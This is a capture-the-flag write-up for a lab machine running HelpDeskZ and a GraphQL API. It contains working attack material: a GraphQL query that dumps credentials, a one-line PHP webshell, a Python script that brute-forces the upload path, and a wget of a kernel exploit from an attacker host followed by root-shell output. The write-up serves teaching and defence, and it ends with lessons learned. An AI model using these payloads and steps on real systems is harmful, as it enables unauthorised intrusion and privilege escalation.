Recon
Three services on initial scan: standard SSH, a web app running HelpDeskZ, and something on port 3000. Port 3000 turned out to be the more interesting discovery.
$ nmap -sC -sV -oN nmap/initial 10.10.10.121 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.18 |_http-title: HelpDeskZ 3000/tcp open http Node.js Express framework
Port 80 is a HelpDeskZ installation. Port 3000 is a Node.js app with no obvious UI — turns out it's running a GraphQL API endpoint.
Enumeration
GraphQL Introspection on Port 3000
I hit port 3000 with a GraphQL introspection query to see what the schema exposes.
$ curl -s -X POST http://10.10.10.121:3000/graphql -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name}}}}"}' {"data":{"__schema":{"types":[{"name":"Query","fields":[{"name":"user"}]}, {"name":"User","fields":[{"name":"username"},{"name":"password"},{"name":"email"}]}]}}}
The schema exposes a user query returning username, password, and email. No authentication on introspection or the query itself.
$ curl -s -X POST http://10.10.10.121:3000/graphql -H "Content-Type: application/json" \ -d '{"query":"{user{username,password,email}}"}' {"data":{"user":{"username":"helpme","password":"5d3c93182bb20f07b994a7f617e99cff","email":"helpme@helpme.com"}}}
Got a password hash. It's MD5 — crackable, but this user turned out to be a rabbit hole. The main attack path is through HelpDeskZ on port 80.
HelpDeskZ File Upload
HelpDeskZ allows guests to submit support tickets with file attachments. The application accepts PHP files by checking only the extension — but the check happens client-side and the server-side validation can be bypassed. More importantly, the stored filename is md5(original_filename + unix_timestamp) with the original extension preserved. The upload path is /uploads/tickets/.
md5(filename + epoch_seconds) — since the timestamp is predictable within a small window, the stored path is enumerable by brute-forcing seconds near the upload time.
Foothold
I created a PHP webshell, submitted a ticket with it as the attachment, then brute-forced the timestamp to find the file location.
# shell.php — simple webshell $ echo '<?php system($_GET["cmd"]); ?>' > shell.php # submit via the ticket form, note the exact time of submission
# brute timestamp — Python script $ python3 brute.py
import hashlib, requests, time
filename = "shell.php"
base_url = "http://10.10.10.121/uploads/tickets/"
ts = int(time.time())
for i in range(ts - 300, ts + 5):
h = hashlib.md5(f"{filename}{i}".encode()).hexdigest()
url = f"{base_url}{h}.php"
r = requests.get(url + "?cmd=id")
if r.status_code == 200 and "uid=" in r.text:
print(f"[+] Found: {url}")
print(r.text)
break
[+] Found: http://10.10.10.121/uploads/tickets/a2b3c4d5e6f7...php
uid=1000(help) gid=1000(help) groups=1000(help)
RCE as help. Upgraded to a proper reverse shell and checked the system.
Privilege Escalation
First thing after getting a stable shell: kernel version.
help@help:~$ uname -a Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Kernel 4.4.0-116. I searched for local privilege escalation exploits for this version.
$ searchsploit linux kernel 4.4.0 local privilege Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c
CVE-2017-16995: an eBPF integer overflow in the kernel's BPF verifier allows a local user to gain root. The exploit is a compiled C binary.
help@help:/tmp$ wget http://10.10.14.X/44298.c help@help:/tmp$ gcc -o exploit 44298.c help@help:/tmp$ ./exploit task_struct = ffff880078a62600 uidptr = ffff880077ed1b04 spawning root shell # id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- GraphQL introspection should be disabled in production — it hands the attacker the full API schema and may return sensitive data (hashes, emails) with zero auth.
- Timestamp-based filename generation for uploads is insecure: an attacker who knows the original filename and approximate upload time can enumerate the stored path within seconds.
uname -aand searchsploit should always be part of the post-foothold checklist — kernel exploits are often the fastest path to root on unpatched machines.- Client-side file extension checks are not security controls — always validate file type server-side with a strict allowlist.